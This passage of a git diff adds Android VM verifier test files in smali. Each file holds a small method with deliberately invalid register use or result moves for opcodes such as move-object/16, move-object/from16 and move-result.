+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 9
+       const-wide v0, 124
+
+       move-object v1, v8
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.smali
new file mode 100644
index 0000000..ff9d63f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_1.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5000
+       move-object/16 v4000, v4999
+       move-object/16 v1, v4000
+
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.smali
new file mode 100644
index 0000000..83a1533
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_3.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move-object/16 v0, v5000
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.smali
new file mode 100644
index 0000000..d7e3e33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_4.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       move-object/16 v6, v4
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.smali
new file mode 100644
index 0000000..623567e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_5.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       const v0, 1234    
+       move-object/16 v2000, v0
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.smali
new file mode 100644
index 0000000..9eac412
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_6.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       const-wide v123, 123
+       move-object/16 v255, v123
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.smali
new file mode 100644
index 0000000..0556333
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_7.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+
+       const-wide v123, 123
+       move-object/16 v255, v124
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.smali
new file mode 100644
index 0000000..77748f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_8.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 5000
+
+       const-wide v123, 123
+       move-object/16 v124, v4999
+       return-wide v123
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.smali
new file mode 100644
index 0000000..c807aef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_1.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5000
+       move-object/from16 v255, v4999
+       move-object/from16 v1, v255
+       
+       return-object v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.smali
new file mode 100644
index 0000000..df014a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_3.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move/from16 v0, v5000
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.smali
new file mode 100644
index 0000000..f44f941
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_4.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       move-object/from16 v5, v4
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.smali
new file mode 100644
index 0000000..19cbf77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_5.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       const v1, 1234
+       move-object/from16 v0, v1
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.smali
new file mode 100644
index 0000000..dc6bd8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_8.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 5000
+
+       const-wide v123, 123
+       move-object/from16 v124, v4999
+       return-wide v123
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.smali
new file mode 100644
index 0000000..bc7423d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_2.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_2;->foo()I
+    move-result v16
+    
+    return-void
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.smali
new file mode 100644
index 0000000..1e48552
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_3.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result/d/T_move_result_3;->foo()Ljava/lang/Object;
+    move-result v0
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.smali
new file mode 100644
index 0000000..9d78c0f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_4.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result/d/T_move_result_4;->foo()J
+    move-result v0
+    
+    return-void
+.end method
+
+.method private foo()J
+.registers 2
+
+    const-wide v0, 1234
+    return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.smali
new file mode 100644
index 0000000..672bc85
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.smali

@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_5.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 16
+
+    const-wide v0, 123
+
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_5;->foo()I
+    move-result v1
+    
+    return-wide v0
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.smali
new file mode 100644
index 0000000..2f4acb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.smali

@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_6.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_6;->foo()I
+    nop
+    move-result v1
+    
+    return-void
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.smali
new file mode 100644
index 0000000..b42b074
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.smali

@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_7.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    goto :Label1
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_7;->foo()I
+:Label1
+    move-result v1
+    
+    return-void
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.smali
new file mode 100644
index 0000000..0af3ea7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_8.smali

@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_8.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    const v0, 0
+    
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_8;->foo()I
+
+    move-result v16
+    return-void
+
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.smali
new file mode 100644
index 0000000..b3b76fa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_1.smali

@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_1.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 16
+
+    const v0, 0
+    
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_1;->foo()Ljava/lang/Object;
+
+    move-result-object v0
+    
+    if-eq v0, v15, :Label1
+
+    const v0, 0
+    return v0
+    
+:Label1
+    const v0, 1
+    return v0
+
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.smali
new file mode 100644
index 0000000..e8281df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_2.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_2.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_2;->foo()Ljava/lang/Object;
+    move-result-object v16
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.smali
new file mode 100644
index 0000000..9eb861c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_3.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_object_3.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_3;->foo()I
+    move-result-object v0
+    
+    return-void
+.end method
+
+.method private foo()I
+.registers 1
+     const v0, 1
+     return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.smali
new file mode 100644
index 0000000..4d84518
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_4.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
